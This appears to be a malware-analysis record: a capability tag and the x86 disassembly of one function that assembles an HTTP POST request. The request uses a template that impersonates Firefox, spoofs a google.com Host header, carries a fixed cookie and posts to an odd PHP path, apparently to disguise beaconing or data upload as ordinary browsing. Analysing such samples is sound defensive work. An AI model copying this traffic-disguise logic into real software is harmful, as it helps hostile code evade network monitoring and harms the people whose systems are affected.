Function at 0x407960
Capabilities:
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c0
push esi
push edi
mov dword [ebp - 0x20], 0
push 0x400
push 0
lea eax, [ebp - 0x4c0]
push eax
call fcn.0041fdd0
add esp, 0xc
push 0
call fcn.00407d70
add esp, 4
push eax
call fcn.00424612
add esp, 4
push 0x400
push 0
lea ecx, [ebp - 0x4c0]
push ecx
call fcn.0041fdd0
add esp, 0xc
push 0x64
push 0
lea edx, [ebp - 0xc0]
push edx
call fcn.0041fdd0
add esp, 0xc
mov eax, dword [ebp + 0xc]
push eax
push str.content_length:__d_r_n_r_n
lea ecx, [ebp - 0xc0]
push ecx
call fcn.00407d30
add esp, 0xc
cmp dword [ebp + 0x14], 0
jne 0x4079f6
call fcn.004245f1
and eax, 0x80000007
jns 0x4079f3
dec eax
or eax, 0xfffffff8
inc eax
mov dword [ebp + 0x14], eax
imul edx, dword [ebp + 0x14], 0x2bc
add edx, str.POST__acaue_www_listen_cvfef.php_HTTP_1.1_r_nHost:_www.google.com_:_443_r_nAccept:_text_html_application_xhtmlxml_application_xml_q0.9_image_avif_image_webp___q0.8_r_nAccept_Encoding:_gzip_deflate_r_nAccept_Language:_en_US_en_q0.5_r_nConnection:_keep_alive_r_nUser_Agent:_Mozilla_5.0__Windows_NT_6.1__Win64__x64__rv:105.0__Gecko_20100101_Firefox_105.0_r_nCookie:_AECAd49MVE45BTE4Rmg2pa4CNA2mLcJBzHVOkYjLNMxDovJf8vRorcLrh8__A__ANIDAHWqTUkMbBQO97fpNPqMwsNNg7ODjasvH2v97IAidwNG5SHBBEusI_KVBsh_UI8H_r_nSec_Fetch_Dest:_document_r_nSec_Fetch_Mode:_navigate_r_nSec_Fetch_Site:_none_r_nSec_Fetch_User:__1_r_n
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0xc]
mov dl, byte [ecx]
mov byte [ebp - 1], dl
add dword [ebp - 0xc], 1
cmp byte [ebp - 1], 0
jne 0x407a0c
mov eax, dword [ebp - 0xc]
sub eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x38], eax
lea edx, [ebp - 0x4c0]
add edx, 0xffffffff
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x24]
mov cl, byte [eax + 1]
mov byte [ebp - 2], cl
add dword [ebp - 0x24], 1
cmp byte [ebp - 2], 0
jne 0x407a39
mov edi, dword [ebp - 0x24]
mov esi, dword [ebp - 0x34]
mov edx, dword [ebp - 0x38]
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [ebp - 0xc0]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 0x30], ecx
mov edx, dword [ebp - 0x10]
mov al, byte [edx]
mov byte [ebp - 3], al
add dword [ebp - 0x10], 1
cmp byte [ebp - 3], 0
jne 0x407a72
mov ecx, dword [ebp - 0x10]
sub ecx, dword [ebp - 0x30]
mov edx, dword [ebp - 0x30]
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x40], ecx
lea eax, [ebp - 0x4c0]
add eax, 0xffffffff
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x28]
mov dl, byte [ecx + 1]
mov byte [ebp - 4], dl
add dword [ebp - 0x28], 1
cmp byte [ebp - 4], 0
jne 0x407a9f
mov edi, dword [ebp - 0x28]
mov esi, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x40]
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x4c0]
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x14]
add edx, 1
mov dword [ebp - 0x44], edx
mov eax, dword [ebp - 0x14]
mov cl, byte [eax]
mov byte [ebp - 5], cl
add dword [ebp - 0x14], 1
cmp byte [ebp - 5], 0
jne 0x407adb
mov edx, dword [ebp - 0x14]
sub edx, dword [ebp - 0x44]
mov dword [ebp - 0x48], edx
mov eax, dword [ebp - 0x48]
add eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
mov dword [ecx], eax
mov edx, dword [ebp + 0x10]
mov eax, dword [edx]
push eax
call fcn.0041ddab
add esp, 4
mov dword [ebp - 0x4c], eax
mov ecx, dword [ebp - 0x4c]
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp + 0x10]
mov eax, dword [edx]
push eax
push 0
mov ecx, dword [ebp - 0x20]
push ecx
call fcn.0041fdd0
add esp, 0xc
lea edx, [ebp - 0x4c0]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x18]
add eax, 1
mov dword [ebp - 0x50], eax
mov ecx, dword [ebp - 0x18]
mov dl, byte [ecx]
mov byte [ebp - 6], dl
add dword [ebp - 0x18], 1
cmp byte [ebp - 6], 0
jne 0x407b3e
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp - 0x50]
mov dword [ebp - 0x54], eax
mov ecx, dword [ebp - 0x54]
push ecx
lea edx, [ebp - 0x4c0]
push edx
mov eax, dword [ebp - 0x20]
push eax
call fcn.0041f2d0
add esp, 0xc
lea ecx, [ebp - 0x4c0]
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0x1c]
add edx, 1
mov dword [ebp - 0x58], edx
mov eax, dword [ebp - 0x1c]
mov cl, byte [eax]
mov byte [ebp - 7], cl
add dword [ebp - 0x1c], 1
cmp byte [ebp - 7], 0
jne 0x407b82
mov edx, dword [ebp - 0x1c]
sub edx, dword [ebp - 0x58]
mov dword [ebp - 0x5c], edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0x20]
add edx, dword [ebp - 0x5c]
push edx
call fcn.0041f2d0
add esp, 0xc
mov eax, dword [ebp - 0x20]
pop edi
pop esi
mov esp, ebp
pop ebp
ret